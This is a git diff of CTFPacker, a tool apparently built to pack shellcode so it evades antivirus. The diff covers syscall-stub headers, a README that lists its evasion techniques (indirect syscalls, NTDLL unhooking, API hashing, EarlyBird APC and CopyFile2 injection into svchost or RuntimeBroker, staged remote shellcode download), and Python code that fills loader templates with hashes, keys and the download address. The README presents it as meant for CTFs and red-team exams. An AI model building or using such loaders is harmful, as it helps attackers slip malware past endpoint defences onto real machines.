while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
+4 -99
View File
@@ -1,100 +1,5 @@
/*
* whispers.h — shim; implementation replaced by Hell's Hall (hellhall.h/.c)
*/
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
#define SW3_SEED 0x51EBD349
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
EXTERN_C NTSTATUS NTAVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NTPVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NTWVM(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NTQAT(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
#endif
#include "hellhall.h"
+72 -125
View File
@@ -1,17 +1,6 @@
# CTFPacker
```
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
```
![CTFPacker](assets/Full-Logo-red-black.svg)
> [!TIP]
> Did CTFPacker help you with a penetration test engagement or in passing a certification exam? If so, please consider giving it a star ⭐! Your support would greatly help the project and motivate me to add more features or even rework it entirely into a much more capable packer!
@@ -23,8 +12,8 @@
* [General Information](#general-information)
* [Evasion Features](#evasion-features)
* [Installation](#installation)
+ [Makefile](#makefile)
* [Usage](#usage)
+ [GUI](#gui)
+ [Format option](#format-option)
+ [Staged](#staged)
+ [Stageless](#stageless)
@@ -37,7 +26,7 @@
This repository has been created to facilitate AV evasion during CTFs and/or pentest & red team exams. The goal is to focus more on pwning rather than struggeling with evasion !
Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/posts/Evade-Modern-AVs-in-2025/)
Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/2025/06/11/evade-modern-avs-in-2025/)
## General Information
@@ -51,109 +40,39 @@ Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochab
## Evasion Features
- Indirect Syscalls via Syswhispers (rewrote in NASM compatible assembly)
- Indirect Syscalls via **Hell's Hall** (PEB walk + CRC32b hashing, obfuscated NASM stub with XOR encoding & junk ops)
- API Hashing
- NTDLL unhooking via Known DLLs technique
- Custom GetProcAddr & GetModuleHandle functions
- Custom AES-128-CBC mode encryption & decryption
- EarlyBird APC Injection
- Possiblity to choose between staged or stageless loader
- EarlyBird APC Injection or CopyFile2 progress callback execution
- Possibility to choose between staged or stageless loader
- "Polymorphic" behavior with the `-s` argument
- Entropy reduction via embedded English text padding (`-er`)
- Optional HTTPS transport for staged payloads
## Installation
Depending on your OS, the installation will slightly differ. In general, make sure you have the following stuff installed:
- CLANG compiler
- MinGW-w64 Toolchain
- Make
If I am not mistaken, those are by default installed on KALI Linux. However, if you want to install them manually, this should do the trick:
Make sure you have the following dependencies installed first:
```bash
# Assuming Debian based system
# Assuming Debian based system (those are usually already on Kali)
sudo apt update
sudo apt install clang pipx mingw-w64 make lld nasm osslsigncode
# Verify installation
clang --version
make --version
# or
clang -v
# If this is the case, refer to the chapter "Makefile" to replace the compiler in the Makefile of the templates
```
It's a bit of a different story on Windows. You need to install the MinGW-w64 toolchain by installing MSYS2 first.
Then just run the install script:
```powershell
# Go there and install this
https://www.msys2.org/
# Then
pacman -Syu
pacman -S mingw-w64-x86_64-clang
# Veryify installation
x86_64-w64-mingw32-clang --version
# Install make
pacman -S make
# Verify installation
make --version
```
You should also check under `C:\msys64\mingw64\bin`. This is a common place where the toolchain is being installed.
After the basis installation, don't forget to install the python requirements ! Otherwise the packer will not work :D !
**Linux**:
```bash
# Via pipx (preferred way)
cd CTFPacker
python3 -m pipx install .
# You can use ctfpacker globaly now
sudo bash install.sh
# Via manual virtual environment
cd CTFPacker
python3 -m venv env
source env/bin/activate
python3 -m pip install .
# Once you're done using the tool
deactivate
# Old fashion
cd CTFPacker
python3 -m pip install -r requirements.txt --break-system-packages
python3 main.py -h
```
**Windows**:
```powershell
# Via pip
cd CTFPacker
python3 -m pip install .
# Done ! :)
# To remove it
sudo bash uninstall.sh
```
### Makefile
That's it ! This will install the python package via pipx, set up a `.desktop` launcher and copy the logo to `~/.local/share/icons/`. You can now use `ctfpacker` and `ctfpacker-gui` globally.
You should NOT modify the Makefile unless you know what you are doing ! BUT, there's one thing you should check BEFORE the python installation process. The first line of the Makefile indicates your compiler. Verify if the compiler matches with the one you installed earlier on your system. You can refer to the appropriate Makefile (windows / linux) in this repo.
```makefile
# Verify this line
CLANG := clang
```
Replace it with the appropriate CLANG compiler
```makefile
# Example
CLANG := x86_64-w64-mingw32-clang
```
## Usage
@@ -175,51 +94,77 @@ options:
Staged:
```
usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT] [-e] [-s] [-pfx PFX] [-pfx-pass PFX_PASSWORD]
usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
[-inj {apc,copyfile2}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT]
[--https] [--user-agent USER_AGENT] [-e] [-s] [-er]
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
options:
-h, --help show this help message and exit
-h, --help show this help message and exit
-p PAYLOAD, --payload PAYLOAD
Shellcode to be packed
Shellcode to be packed
-f {EXE,DLL}, --format {EXE,DLL}
Format of the output file (default: EXE).
Format of the output file (default: EXE).
-apc {RuntimeBroker.exe,svchost.exe}
Target injection process (default: RuntimeBroker.exe).
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
CopyFile2 progress callback execution (default: apc).
-i IP_ADDRESS, --ip-address IP_ADDRESS
IP address from where your shellcode is gonna be fetched.
-po PORT, --port PORT
Port from where the HTTP connection is gonna fetch your shellcode.
-pa PATH, --path PATH
Path from where your shellcode uis gonna be fetched.
-o OUTPUT, --output OUTPUT
Output path where the shellcode is gonna be saved.
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
IP address from where your shellcode is gonna be fetched.
-po PORT, --port PORT Port from where the HTTP connection is gonna fetch your shellcode.
-pa PATH, --path PATH Path from where your shellcode is gonna be fetched.
-o OUTPUT, --output OUTPUT Output path where the loader is gonna be saved.
--https Use HTTPS instead of HTTP for downloading the shellcode.
--user-agent USER_AGENT Custom User-Agent string for HTTP/HTTPS requests.
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-er, --entropy-reduction Reduce binary entropy by embedding English text padding.
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
-pfx-pass PFX_PASSWORD, --pfx-password PFX_PASSWORD
Password for the PFX file.
Password for the PFX file.
Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'
Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -inj apc -e -s --https -pfx cert.pfx -pfx-pass 'password'
```
Stageless:
```
usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-e] [-s] [-pfx PFX] [-pfx-pass PFX_PASSWORD]
usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
[-inj {apc,copyfile2}] [-e] [-s] [-er]
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
options:
-h, --help show this help message and exit
-h, --help show this help message and exit
-p PAYLOAD, --payload PAYLOAD
Shellcode to be packed
Shellcode to be packed
-f {EXE,DLL}, --format {EXE,DLL}
Format of the output file (default: EXE).
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
Format of the output file (default: EXE).
-apc {RuntimeBroker.exe,svchost.exe}
Target injection process (default: RuntimeBroker.exe).
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
CopyFile2 progress callback execution (default: apc).
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-er, --entropy-reduction Reduce binary entropy by embedding English text padding.
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
-pfx-pass PFX_PASSWORD, --pfx-password PFX_PASSWORD
Password for the PFX file.
Password for the PFX file.
Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'
Example usage: python main.py stageless -p shellcode.bin -e -s -inj copyfile2 -pfx cert.pfx -pfx-pass 'password'
```
### GUI
If you installed via pipx or `install.sh`, you can launch the GUI directly:
```bash
ctfpacker-gui
```
The GUI exposes all the same options as the CLI but with real-time build output, a log panel, and a profile system. You can save/load build configurations as named profiles, and export/import them as `.ctfp` files to share across machines.
### Format option
In both cases, staged or stageless, you can choose whether to compile your loader as an EXE or a DLL. To compile it as a DLL, simply append `-f DLL`. By default, it compiles as an EXE, though you can also explicitly specify this using -f EXE (but you don't need to).
@@ -352,8 +297,10 @@ https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35
## To-Do
- [x] Maybe adding a setup.py file to install via pip / pipx
- [ ] Other templates with different injection techniques
- [ ] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
- [x] Other templates with different injection techniques (added CopyFile2 progress callback)
- [x] PyQt6 GUI with build profiles & real-time output
- [x] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
- [ ] More injection techniques
## Detections
@@ -368,9 +315,9 @@ https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35
Most of the code is not from me. Here are the original authors:
```
@ Maldevacademy - https://maldevacademy.com
@ Maldevacademy - https://maldevacademy.com ; https://github.com/Maldev-Academy/HellHall
@ trickster0 - https://github.com/trickster0/TartarusGate (indirect syscalls)
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
@ klezVirus - https://github.com/klezVirus/SysWhispers3
```
-1
View File
@@ -1 +0,0 @@
# Windows Version
-45
View File
@@ -1,45 +0,0 @@
import os
from core.utils import Colors
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class Encryption:
# Generate a random KEY and IV
def GenerateKey(key_size: int) -> tuple:
# Generate a 16-byte or 32-byte key for AES-128 or AES-256
key = os.urandom(key_size)
#print(key)
# Generate a 16-byte IV (128 bits, which is the block size for AES)
iv = os.urandom(AES.block_size)
#print(iv)
return key, iv
# AES-128 CBC encryption
def EncryptAES(shellcode: bytes) -> bytes:
#print(Colors.light_blue("[INF] Encryption Technique:\tAES-128-CBC"))
# Generate random key and IV
key, iv = Encryption.GenerateKey(16)
# Formatting
hex_key = ''.join([f"0x{key.hex()[i:i+2]}, " for i in range(0, len(key.hex()), 2)]).strip(", ")
hex_iv = ''.join([f"0x{iv.hex()[i:i+2]}, " for i in range(0, len(iv.hex()), 2)]).strip(", ")
# Print the key and IV
#print(Colors.light_blue(f"[INF] Key (hex):\t\t{hex_key}"))
#print(Colors.light_blue(f"[INF] IV (hex):\t\t\t{hex_iv}\n"))
# Create AES cipher in CBC mode
cipher = AES.new(key, AES.MODE_CBC, iv)
# Pad the shellcode to be a multiple of 16 bytes (AES block size)
padded_shellcode = pad(shellcode, AES.block_size)
# Encrypt the padded shellcode
enc_shellcode = cipher.encrypt(padded_shellcode)
# Return the encrypted shellcode
return enc_shellcode, hex_key, hex_iv
-12
View File
@@ -1,12 +0,0 @@
class Hasher:
def Hasher(input_string: str, INITIAL_SEED: int, INITIAL_HASH: int) -> int:
hash_value = INITIAL_HASH & 0xFFFFFFFF
for c in input_string.encode('ascii'):
hash_value = ((hash_value << INITIAL_SEED) & 0xFFFFFFFF) + hash_value
hash_value = (hash_value + c) & 0xFFFFFFFF
return f"0x{hash_value:08X}"
-77
View File
@@ -1,77 +0,0 @@
import colorama
from colorama import Fore, Style
colorama.init(autoreset=True)
class Colors:
@staticmethod
def red(str):
return Fore.RED + str + Style.RESET_ALL
@staticmethod
def green(str):
return Fore.GREEN + str + Style.RESET_ALL
@staticmethod
def yellow(str):
return Fore.YELLOW + str + Style.RESET_ALL
@staticmethod
def blue(str):
return Fore.BLUE + str + Style.RESET_ALL
@staticmethod
def magenta(str):
return Fore.MAGENTA + str + Style.RESET_ALL
@staticmethod
def cyan(str):
return Fore.CYAN + str + Style.RESET_ALL
@staticmethod
def white(str):
return Fore.WHITE + str + Style.RESET_ALL
@staticmethod
def black(str):
return Fore.BLACK + str + Style.RESET_ALL
@staticmethod
def light_red(str):
return Fore.LIGHTRED_EX + str + Style.RESET_ALL
@staticmethod
def light_green(str):
return Fore.LIGHTGREEN_EX + str + Style.RESET_ALL
@staticmethod
def light_yellow(str):
return Fore.LIGHTYELLOW_EX + str + Style.RESET_ALL
@staticmethod
def light_blue(str):
return Fore.LIGHTBLUE_EX + str + Style.RESET_ALL
@staticmethod
def light_magenta(str):
return Fore.LIGHTMAGENTA_EX + str + Style.RESET_ALL
def banner():
print(Colors.light_red("""
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
""")+
("\n\tAuthor: mocha") +("\n\thttps://mochabyte.xyz\n"))
Binary file not shown.
Binary file not shown.
Binary file not shown.
-810
View File
@@ -1,810 +0,0 @@
# -*- coding: utf-8 -*-
'''
Author: mocha
X (Twitter): @mochabyte0x
'''
import os
import sys
import random
import subprocess
import shutil, errno
from importlib import resources
from core.hashing import Hasher
from argparse import ArgumentParser
from core.utils import Colors, banner
from core.encryption import Encryption
def main():
# Creating the parser first
parser = ArgumentParser(description="CTFPacker", epilog="Author: @B0lg0r0v (Arthur Minasyan)")
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
# Creating the subparsers
parser_staged = subparsers.add_parser("staged", help="Staged")
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
# Creating the arguments for the staged subcommand
parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_staged.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
parser_staged.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_staged.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
parser_staged.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'"
# Creating the arguments for the stageless subcommand
parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_stageless.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
parser_stageless.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_stageless.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
parser_stageless.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'"
# Parsing the arguments
args = parser.parse_args()
# Banner
banner()
#--------------------------------------#
#----------- Staged Variant -----------#
#--------------------------------------#
if args.commands == "staged":
print(Colors.green("[i] Staged Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.path.dirname(os.path.abspath(__file__))
src_directory = resources.files("templates").joinpath("staged")
dst_directory = f'{cr_directory}\\.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
if args.payload and args.ip_address and args.port and args.path:
print(Colors.green("[i] Corresponding template selected.."))
ip = args.ip_address
port = args.port
path = args.path
with open(f'{dst_directory}\\download.c', 'r') as file:
download_data = file.readlines()
for i in range(len(download_data)):
if "#-IP_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
if "#-PORT_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
if "#-PATH_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
with open(f'{dst_directory}\\download.c', 'w') as file:
file.writelines(download_data)
# We read the shellcode from the file
with open(args.payload, "rb") as file:
payload = file.read()
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}\\{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
print(Colors.light_yellow("[+] Setting APC injection target process..."))
# Handling the target APC injection.
if args.format is None or args.format == "EXE":
with open(f'{dst_directory}/main.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main.c', 'w') as file:
file.writelines(main_data)
if args.format == "DLL":
with open(f'{dst_directory}/main_dll.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main_dll.c', 'w') as file:
file.writelines(main_data)
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(payload)
if os.path.exists(f"{args.output}.bin"):
os.remove(f"{args.output}.bin")
with open(f"{args.output}.bin", "wb") as file:
file.write(enc_payload)
for filename in os.listdir(dst_directory):
if filename.startswith("main") and (filename.endswith(".c")):
with open(f"{dst_directory}\\{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}\\{args.output}.bin !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main .c files
for filename in os.listdir(dst_directory):
if filename.startswith("main") and (filename.endswith(".c")):
with open(f"{dst_directory}\\{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
with open(f"{dst_directory}\\{filename}", "w") as file:
file.writelines(main_data)
# We copy the payload file to the path specified by the user
shutil.copy(args.payload, f"{args.output}.bin")
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
scrambled_variables = []
